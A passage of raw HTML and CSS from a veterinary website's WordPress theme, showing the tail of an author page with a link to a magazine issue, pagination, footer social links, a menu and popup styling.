2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-18 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:13vw;--awb-padding-right:3vw;--awb-padding-bottom:2vw;--awb-padding-left:2vw;--awb-padding-left-medium:3vw;--awb-padding-top-small:20vw;--awb-bg-image:linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%);;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper lazyload fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column fusion-column-has-bg-image" data-bg-url="https://nahrainveterinary.com/wp-content/uploads/2024/02/magazine-cover.png" data-bg="https://nahrainveterinary.com/wp-content/uploads/2024/02/magazine-cover.png" data-bg-gradient="linear-gradient(180deg, hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%)) 0%,var(--awb-color8) 100%)"><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-19 fusion-button-default-span fusion-button-default-type" style="--awb-margin-bottom:10px;--awb-padding-top:0px;--awb-padding-right:15px;--awb-padding-bottom:10px;--awb-padding-left:5px;--button_accent_color:var(--awb-color1);--button_border_color:var(--awb-color4);--button_accent_hover_color:var(--awb-color1);--button_border_hover_color:var(--awb-color4);--button_border_width-top:0px;--button_border_width-right:2px;--button_border_width-bottom:2px;--button_border_width-left:0px;--button-border-radius-top-left:0;--button-border-radius-top-right:0;--button-border-radius-bottom-right:0;--button-border-radius-bottom-left:0;--button_gradient_top_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color4-h),var(--awb-color4-s),var(--awb-color4-l),calc(var(--awb-color4-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-zero/"><span class="fusion-button-text awb-button__text awb-button__text--default">Magazine</span></a></div></div></div></div><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-19 fusion_builder_column_inner_1_1 1_1 fusion-flex-column" style="--awb-padding-top:25px;--awb-padding-right:10px;--awb-padding-bottom:25px;--awb-padding-left:10px;--awb-padding-right-medium:15px;--awb-padding-left-medium:15px;--awb-bg-position:center center;--awb-bg-size:cover;--awb-width-large:100%;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-11 fusion-sep-none fusion-title-text fusion-title-size-four" style="--awb-margin-bottom:5px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h4 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-zero/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">Nahrain veterinary magazine, No. zero</a></h4></div><div class="fusion-text fusion-text-10" style="--awb-margin-top:10px;"><p>&nbsp; Nahrain veterinary magazine, No. zero https://drive.google.com/file/d/1EOVtWFnRToASOk1Lmfk5O-MQIxEIQt-b/view?usp=drive_link &nbsp; &nbsp; &nbsp;</p></div><div ><a class="fusion-button button-flat fusion-button-default-size button-custom fusion-button-default button-20 fusion-button-default-span fusion-button-default-type" style="--awb-margin-top:-10px;--awb-padding-left:0px;--button_accent_color:var(--awb-color5);--button_border_color:var(--awb-color5);--button_accent_hover_color:var(--awb-color5);--button_border_hover_color:var(--awb-color5);--button_gradient_top_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_bottom_color:hsla(var(--awb-color8-h),var(--awb-color8-s),var(--awb-color8-l),calc(var(--awb-color8-a) - 100%));--button_gradient_top_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_gradient_bottom_color_hover:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 100%));--button_text_transform:var(--awb-typography5-text-transform);--button_font_size:var(--awb-typography5-font-size);--button_line_height:var(--awb-typography5-line-height);--button_typography-letter-spacing:var(--awb-typography5-letter-spacing);--button_typography-font-family:var(--awb-typography5-font-family);--button_typography-font-weight:var(--awb-typography5-font-weight);--button_typography-font-style:var(--awb-typography5-font-style);" target="_self" href="#"><span class="fusion-button-text awb-button__text awb-button__text--default">August 19, 2026</span></a></div></div></div></div></div></li></ul><div class="fusion-infinite-scroll-trigger"></div><div class="pagination infinite-scroll clearfix" style="display:none;"><a class="pagination-prev" rel="prev" href="https://nahrainveterinary.com/author/pmdiyar/"><span class="page-prev"></span><span class="page-text">Previous</span></a><a href="https://nahrainveterinary.com/author/pmdiyar/" class="inactive">1</a><span class="current">2</span><a href="https://nahrainveterinary.com/author/pmdiyar/page/3/" class="inactive">3</a><a class="pagination-next" rel="next" href="https://nahrainveterinary.com/author/pmdiyar/page/3/"><span class="page-text">Next</span><span class="page-next"></span></a></div><div class="fusion-clearfix"></div></div></div></div></div></div></div></div></section></div></main><div class="fusion-tb-footer fusion-footer"><div class="fusion-footer-widget-area fusion-widget-area"><div class="fusion-fullwidth fullwidth-box fusion-builder-row-4 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling" style="--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-background-color:var(--awb-color8);--awb-flex-wrap:wrap;" ><div class="fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-justify-content-center fusion-flex-content-wrap" style="max-width:1302px;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column fusion-builder-column-15 fusion_builder_column_1_6 1_6 fusion-flex-column fusion-no-small-visibility" style="--awb-bg-size:cover;--awb-width-large:16.666666666667%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:0px;--awb-spacing-right-large:14.25%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:14.25%;--awb-width-medium:16.666666666667%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:14.25%;--awb-spacing-left-medium:14.25%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"></div></div><div class="fusion-layout-column fusion_builder_column fusion-builder-column-16 fusion_builder_column_2_3 2_3 fusion-flex-column" style="--awb-bg-size:cover;--awb-width-large:66.666666666667%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:80px;--awb-spacing-right-large:3.5625%;--awb-margin-bottom-large:80px;--awb-spacing-left-large:3.5625%;--awb-width-medium:66.666666666667%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:3.5625%;--awb-spacing-left-medium:3.5625%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-text fusion-text-11 fusion-text-no-margin" style="--awb-content-alignment:center;--awb-font-size:20px;--awb-text-color:var(--awb-color3);--awb-margin-top:35px;--awb-margin-bottom:35px;"><p>Follow us on Social Media!</p></div><div class="fusion-social-links fusion-social-links-1" style="--awb-margin-top:0px;--awb-margin-right:0px;--awb-margin-bottom:0px;--awb-margin-left:0px;--awb-alignment:center;--awb-box-border-top:0px;--awb-box-border-right:0px;--awb-box-border-bottom:0px;--awb-box-border-left:0px;--awb-box-padding-top:12px;--awb-box-padding-right:12px;--awb-box-padding-bottom:12px;--awb-box-padding-left:12px;--awb-icon-colors-hover:var(--awb-color1);--awb-box-colors-hover:var(--awb-color4);--awb-box-border-color:var(--awb-color3);--awb-box-border-color-hover:var(--awb-color4);"><div class="fusion-social-networks boxed-icons color-type-custom"><div class="fusion-social-networks-wrapper"><a class="fusion-social-network-icon fusion-tooltip fusion-facebook awb-icon-facebook" style="color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 40%));font-size:16px;width:16px;background-color:var(--awb-color7);border-color:var(--awb-color7);border-radius:50px;" data-placement="top" data-title="Facebook" data-toggle="tooltip" title="Facebook" aria-label="facebook" target="_blank" rel="noopener noreferrer" href="https://www.facebook.com/people/Nahrain-Veterinary-Network-%D8%B4%D8%A8%DA%A9%D8%A9-%D9%86%D9%87%D8%B1%DB%8C%D9%86-%D8%A7%D9%84%D8%A8%DB%8C%D8%B7%D8%B1%DB%8C%D8%A9/100091268997884/"></a><a class="fusion-social-network-icon fusion-tooltip fusion-twitter awb-icon-twitter" style="color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 40%));font-size:16px;width:16px;background-color:var(--awb-color7);border-color:var(--awb-color7);border-radius:50px;" data-placement="top" data-title="X" data-toggle="tooltip" title="X" aria-label="twitter" target="_blank" rel="noopener noreferrer" href="https://twitter.com/nahrainvet04"></a><a class="fusion-social-network-icon fusion-tooltip fusion-whatsapp awb-icon-whatsapp" style="color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 40%));font-size:16px;width:16px;background-color:var(--awb-color7);border-color:var(--awb-color7);border-radius:50px;" data-placement="top" data-title="WhatsApp" data-toggle="tooltip" title="WhatsApp" aria-label="whatsapp" target="_blank" rel="noopener noreferrer" href="https://wa.me/9647727777034"></a><a class="fusion-social-network-icon fusion-tooltip fusion-telegram awb-icon-telegram" style="color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 40%));font-size:16px;width:16px;background-color:var(--awb-color7);border-color:var(--awb-color7);border-radius:50px;" data-placement="top" data-title="Telegram" data-toggle="tooltip" title="Telegram" aria-label="telegram" target="_blank" rel="noopener noreferrer" href="https://t.me/nahrainveterinary"></a></div></div></div></div></div><div class="fusion-layout-column fusion_builder_column fusion-builder-column-17 fusion_builder_column_1_6 1_6 fusion-flex-column fusion-no-small-visibility" style="--awb-bg-size:cover;--awb-width-large:16.666666666667%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:0px;--awb-spacing-right-large:14.25%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:14.25%;--awb-width-medium:16.666666666667%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:14.25%;--awb-spacing-left-medium:14.25%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"></div></div></div></div><div class="fusion-fullwidth fullwidth-box fusion-builder-row-5 fusion-flex-container has-pattern-background has-mask-background hundred-percent-fullwidth non-hundred-percent-height-scrolling" style="--link_hover_color: var(--awb-color4);--link_color: hsla(var(--awb-color5-h),var(--awb-color5-s),calc(var(--awb-color5-l) + 25%),var(--awb-color5-a));--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-background-color:var(--awb-color8);--awb-flex-wrap:wrap;" ><div class="fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column fusion-builder-column-18 fusion_builder_column_1_1 1_1 fusion-flex-column" style="--awb-bg-size:cover;--awb-border-color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 90%));--awb-border-top:1px;--awb-border-bottom:1px;--awb-border-style:solid;--awb-width-large:100%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:0px;--awb-spacing-right-large:0px;--awb-margin-bottom-large:0px;--awb-spacing-left-large:0px;--awb-width-medium:100%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:0px;--awb-spacing-left-medium:0px;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><nav class="awb-menu awb-menu_row awb-menu_em-hover mobile-mode-always-expanded awb-menu_icons-left awb-menu_dc-yes mobile-trigger-fullwidth-off awb-menu_mobile-toggle awb-menu_indent-left awb-menu_mt-align-flex-start loading mega-menu-loading awb-menu_desktop awb-menu_dropdown awb-menu_expand-right awb-menu_transition-fade" style="--awb-font-size:var(--awb-typography3-font-size);--awb-line-height:var(--awb-typography3-line-height);--awb-text-transform:var(--awb-typography3-text-transform);--awb-min-height:100px;--awb-gap:50px;--awb-justify-content:center;--awb-border-color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--awb-border-top:2px;--awb-color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 30%));--awb-letter-spacing:var(--awb-typography3-letter-spacing);--awb-active-color:var(--awb-color4);--awb-active-border-top:2px;--awb-active-border-color:var(--awb-color4);--awb-icons-hover-color:var(--awb-color4);--awb-main-justify-content:flex-start;--awb-mobile-bg:var(--awb-color8);--awb-mobile-color:var(--awb-color3);--awb-mobile-active-bg:var(--awb-color4);--awb-mobile-active-color:var(--awb-color1);--awb-mobile-justify:flex-start;--awb-mobile-caret-left:auto;--awb-mobile-caret-right:0;--awb-fusion-font-family-typography:var(--awb-typography3-font-family);--awb-fusion-font-weight-typography:var(--awb-typography3-font-weight);--awb-fusion-font-style-typography:var(--awb-typography3-font-style);--awb-fusion-font-family-submenu-typography:inherit;--awb-fusion-font-style-submenu-typography:normal;--awb-fusion-font-weight-submenu-typography:400;--awb-fusion-font-family-mobile-typography:inherit;--awb-fusion-font-style-mobile-typography:normal;--awb-fusion-font-weight-mobile-typography:400;" aria-label="Magazine Footer - Main Menu" data-breakpoint="1100" data-count="1" data-transition-type="top-vertical" data-transition-time="300" data-expand="right"><button type="button" class="awb-menu__m-toggle awb-menu__m-toggle_no-text" aria-expanded="false" aria-controls="menu-magazine-footer-main-menu"><span class="awb-menu__m-toggle-inner"><span class="collapsed-nav-text"><span class="screen-reader-text">Toggle Navigation</span></span><span class="awb-menu__m-collapse-icon awb-menu__m-collapse-icon_no-text"><span class="awb-menu__m-collapse-icon-open awb-menu__m-collapse-icon-open_no-text fa-bars fas"></span><span class="awb-menu__m-collapse-icon-close awb-menu__m-collapse-icon-close_no-text fa-times fas"></span></span></span></button><ul id="menu-magazine-footer-main-menu" class="fusion-menu awb-menu__main-ul awb-menu__main-ul_row"><li  id="menu-item-1175"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-1175 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="1175"><span class="awb-menu__main-background-default awb-menu__main-background-default_top-vertical"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_top-vertical"></span><a  href="https://nahrainveterinary.com/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Home</span></a></li><li  id="menu-item-1181"  class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1181 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="1181"><span class="awb-menu__main-background-default awb-menu__main-background-default_top-vertical"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_top-vertical"></span><a  href="https://nahrainveterinary.com/about" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">About</span></a></li><li  id="menu-item-1182"  class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1182 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="1182"><span class="awb-menu__main-background-default awb-menu__main-background-default_top-vertical"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_top-vertical"></span><a  href="https://nahrainveterinary.com/contact" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Contact</span></a></li><li  id="menu-item-2438"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2438 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2438"><span class="awb-menu__main-background-default awb-menu__main-background-default_top-vertical"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_top-vertical"></span><a  href="https://nahrainveterinary.com/privacy-policy-2/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Privacy Policy</span></a></li></ul></nav></div></div><div class="fusion-layout-column fusion_builder_column fusion-builder-column-19 fusion_builder_column_1_1 1_1 fusion-flex-column" style="--awb-bg-size:cover;--awb-border-color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 90%));--awb-border-style:solid;--awb-width-large:100%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:0px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-text fusion-text-12 fusion-text-no-margin" style="--awb-content-alignment:center;--awb-font-size:var(--awb-typography5-font-size);--awb-line-height:var(--awb-typography5-line-height);--awb-letter-spacing:var(--awb-typography5-letter-spacing);--awb-text-transform:var(--awb-typography5-text-transform);--awb-text-color:var(--awb-color5);--awb-margin-top:35px;--awb-margin-bottom:35px;--awb-text-font-family:var(--awb-typography5-font-family);--awb-text-font-weight:var(--awb-typography5-font-weight);--awb-text-font-style:var(--awb-typography5-font-style);"><p>2026 Nahrain Veterinary  Developed by <a href="https://stercomputer.com/" target="_blank">Ster Technologies</a>     •   All Rights Reserved.</p></div></div></div></div></div></div></div></div></div>
<a class="fusion-one-page-text-link fusion-page-load-link" tabindex="-1" href="#" aria-hidden="true">Page load link</a><div class="avada-footer-scripts"><style id="awb-off-canvas-css">.awb-off-canvas-wrap{--awb-horizontal-position:center;--awb-vertical-position:center;--awb-overlay-z-index:99990;--awb-overlay-background-color:rgba(0, 0, 0, 0.8);--awb-overlay-background-image:none;--awb-overlay-background-repeat:repeat;--awb-overlay-background-size:auto;--awb-overlay-background-position:left top;--awb-overlay-background-blend-mode:none;--awb-width:800px;--awb-height:auto;--awb-margin-top:0;--awb-margin-right:0;--awb-margin-bottom:0;--awb-margin-left:0;--awb-background-color:#fff;--awb-background-image:none;--awb-background-repeat:repeat;--awb-background-size:auto;--awb-background-position:left top;--awb-background-blend-mode:none;--awb-oc-scrollbar-handle-color:#65bc7b;--awb-oc-scrollbar-background:#f2f3f5;--awb-padding-top:0;--awb-padding-right:0;--awb-padding-bottom:0;--awb-padding-left:0;--awb-content-layout:column;--awb-align-content:flex-start;--awb-valign-content:flex-start;--awb-content-wrap:wrap;--awb-close-button-color:var(--body_typography-color);--awb-close-icon-size:var(--body_typography-font-size);--awb-close-button-color-hover:#d30404;--awb-border-top-width:0;--awb-border-right-width:0;--awb-border-bottom-width:0;--awb-border-left-width:0;--awb-border-color:inherit;--awb-border-top-left-radius:0;--awb-border-top-right-radius:0;--awb-border-bottom-right-radius:0;--awb-border-bottom-left-radius:0;--awb-box-shadow:none;position:fixed;top:0;left:0;width:100%;height:100%;background-color:var(--awb-overlay-background-color);display:flex;justify-content:var(--awb-horizontal-position);align-items:var(--awb-vertical-position);opacity:0;visibility:hidden;pointer-events:none;z-index:-1;transition:.25s}.awb-off-canvas-wrap.awb-show{z-index:var(--awb-overlay-z-index);opacity:1;visibility:visible;pointer-events:auto}.awb-off-canvas-wrap.awb-show .awb-off-canvas{pointer-events:auto}.awb-off-canvas-wrap.overlay-disabled{background-color:transparent!important;pointer-events:none}.awb-off-canvas-wrap:not(.overlay-disabled){background-image:var(--awb-overlay-background-image);background-repeat:var(--awb-overlay-background-repeat);background-position:var(--awb-overlay-background-position);background-size:var(--awb-overlay-background-size);background-blend-mode:var(--awb-overlay-background-blend-mode)}.awb-off-canvas-wrap.type-sliding-bar{--awb-width:400px;--awb-vertical-position:flex-end}.awb-off-canvas-wrap .awb-off-canvas{position:relative;width:var(--awb-width);height:var(--awb-height);max-width:100vw;max-height:100vh;outline:0;margin-top:var(--awb-margin-top);margin-right:var(--awb-margin-right);margin-bottom:var(--awb-margin-bottom);margin-left:var(--awb-margin-left)}.awb-off-canvas-wrap .awb-off-canvas.oc-waiting-for-close{opacity:0!important}.awb-off-canvas-wrap .awb-off-canvas .off-canvas-close{cursor:pointer;margin:var(--awb-close-button-margin-top,20px) var(--awb-close-button-margin-right,0) var(--awb-close-button-margin-bottom,0) var(--awb-close-button-margin-left,0);color:var(--awb-close-button-color);font-size:var(--awb-close-icon-size);background-color:transparent;border:none;position:absolute;top:0;right:0;z-index:20;transition:.3s}.awb-off-canvas-wrap .awb-off-canvas .off-canvas-close.close-position-right{margin-right:var(--awb-close-button-margin-right,20px)}.awb-off-canvas-wrap .awb-off-canvas .off-canvas-close.close-position-left{right:auto;left:0;margin-left:var(--awb-close-button-margin-left,20px)}.awb-off-canvas-wrap .awb-off-canvas .off-canvas-close.hover,.awb-off-canvas-wrap .awb-off-canvas .off-canvas-close:hover{color:var(--awb-close-button-color-hover)}.awb-off-canvas-wrap .awb-off-canvas .off-canvas-close.hidden{visibility:hidden;opacity:0}.awb-off-canvas-wrap .awb-off-canvas.is-empty{height:325px}.awb-off-canvas-wrap .awb-off-canvas.is-empty .off-canvas-content{align-items:center;flex-direction:row}.awb-off-canvas-wrap .awb-off-canvas-inner{background-color:var(--awb-background-color);background-image:var(--awb-background-image);background-repeat:var(--awb-background-repeat);background-position:var(--awb-background-position);background-size:var(--awb-background-size);background-blend-mode:var(--awb-background-blend-mode);border-style:solid;border-top-width:var(--awb-border-top-width);border-right-width:var(--awb-border-right-width);border-bottom-width:var(--awb-border-bottom-width);border-left-width:var(--awb-border-left-width);border-top-left-radius:var(--awb-border-top-left-radius);border-top-right-radius:var(--awb-border-top-right-radius);border-bottom-left-radius:var(--awb-border-bottom-left-radius);border-bottom-right-radius:var(--awb-border-bottom-right-radius);border-color:var(--awb-border-color);box-shadow:var(--awb-box-shadow);position:relative;width:100%;height:100%;max-height:100vh;max-width:100vw;display:flex;align-items:flex-start;overflow:hidden;z-index:10}.awb-off-canvas-wrap .awb-off-canvas-inner .off-canvas-content{width:100%;height:100%;max-width:100vw;max-height:100vh;padding:var(--awb-padding-top) var(--awb-padding-right) var(--awb-padding-bottom) var(--awb-padding-left);display:flex;flex-direction:var(--awb-content-layout);flex-wrap:var(--awb-content-wrap);justify-content:var(--awb-align-content);position:relative;overflow-x:hidden;overflow-y:auto}.awb-off-canvas-wrap .awb-off-canvas-inner.content-layout-row .off-canvas-content{align-items:var(--awb-valign-content)}.awb-off-canvas-wrap .awb-off-canvas-inner.content-layout-column .off-canvas-content{flex-wrap:nowrap}.awb-off-canvas-wrap .fusion-container-margin-bottom .fusion-spacing-tooltip{bottom:100%!important;top:auto!important;transform:none!important;margin-left:40px!important}.awb-off-canvas-wrap .fusion-element-spacing.fusion-column-margin-bottom .fusion-spacing-tooltip,.awb-off-canvas-wrap .fusion-element-spacing.fusion-column-padding-top .fusion-spacing-tooltip{bottom:0;transform:none!important}.awb-off-canvas-wrap.has-custom-scrollbar .off-canvas-content{scrollbar-width:thin;scrollbar-color:var(--awb-oc-scrollbar-handle-color) var(--awb-oc-scrollbar-background)}.awb-off-canvas-wrap.has-custom-scrollbar .off-canvas-content::-webkit-scrollbar{width:10px}.awb-off-canvas-wrap.has-custom-scrollbar .off-canvas-content::-webkit-scrollbar-track{background:var(--awb-oc-scrollbar-background)}.awb-off-canvas-wrap.has-custom-scrollbar .off-canvas-content::-webkit-scrollbar-thumb{background:var(--awb-oc-scrollbar-handle-color)}.awb-off-canvas-wrap.hidden-scrollbar .off-canvas-content{scrollbar-width:none}.awb-off-canvas-wrap.hidden-scrollbar .off-canvas-content::-webkit-scrollbar{display:none}a[href^="#awb-oc__"] .awb-oc-close-icon{opacity:0;font-family:awb-icons!important;speak:never;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}a[href^="#awb-oc__"] .awb-oc-close-icon:before{content:"\e904"}a[href^="#awb-oc__"]:not(.awb-oc-active) .awb-oc-close-icon{font-size:0!important}a[href^="#awb-oc__"].awb-oc-active .awb-menu__i:not(.awb-oc-close-icon),a[href^="#awb-oc__"].awb-oc-active .fusion-megamenu-icon:not(.awb-oc-close-icon){opacity:0}a[href^="#awb-oc__"].awb-oc-active .awb-menu__i:not(.awb-oc-close-icon):not(.button-icon-divider-left,.button-icon-divider-right),a[href^="#awb-oc__"].awb-oc-active .fusion-megamenu-icon:not(.awb-oc-close-icon):not(.button-icon-divider-left,.button-icon-divider-right){font-size:0!important}a[href^="#awb-oc__"].awb-oc-active .awb-oc-close-icon{opacity:1}@media only screen and (max-width: 1100px){.awb-off-canvas-wrap{--awb-horizontal-position-medium:var(--awb-horizontal-position);--awb-vertical-position-medium:var(--awb-vertical-position);--awb-width-medium:var(--awb-width);--awb-height-medium:var(--awb-height)}.awb-off-canvas-wrap.type-popup{justify-content:var(--awb-horizontal-position-medium);align-items:var(--awb-vertical-position-medium)}.awb-off-canvas-wrap .awb-off-canvas{width:var(--awb-width-medium);height:var(--awb-height-medium)}}@media only screen and (max-width: 800px){.awb-off-canvas-wrap{--awb-horizontal-position-small:var(--awb-horizontal-position);--awb-vertical-position-small:var(--awb-vertical-position);--awb-width-small:var(--awb-width-medium);--awb-height-small:var(--awb-height-medium)}.awb-off-canvas-wrap.type-popup{justify-content:var(--awb-horizontal-position-small);align-items:var(--awb-vertical-position-small)}.awb-off-canvas-wrap .awb-off-canvas{width:var(--awb-width-small);height:var(--awb-height-small)}}</style><div id="awb-oc-1046" class="awb-off-canvas-wrap type-popup hidden-scrollbar" style="--awb-horizontal-position:center;--awb-horizontal-position-medium:center;--awb-horizontal-position-small:center;--awb-vertical-position:flex-end;--awb-vertical-position-medium:center;--awb-vertical-position-small:center;--awb-overlay-background-color:hsla(var(--awb-color8-h),var(--awb-color8-s),calc(var(--awb-color8-l) - 5%),calc(var(--awb-color8-a) - 2%));--awb-width:100%;--awb-height:100dvh;--awb-box-shadow:;--awb-background-color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));--awb-content-layout:column;--awb-align-content:center;--awb-valign-content:flex-start;--awb-content-wrap:wrap;--awb-close-button-margin-top:35px;--awb-close-button-margin-right:35px;--awb-close-button-color:var(--awb-color3);--awb-close-icon-size:20px;--awb-close-button-color-hover:var(--awb-color1);" data-id="1046"><div class="awb-off-canvas" tabindex="-1"><button class="off-canvas-close awb-magazine-times-solid hidden close-position-right" aria-label="Close"></button><div class="awb-off-canvas-inner content-layout-column" style=""><div 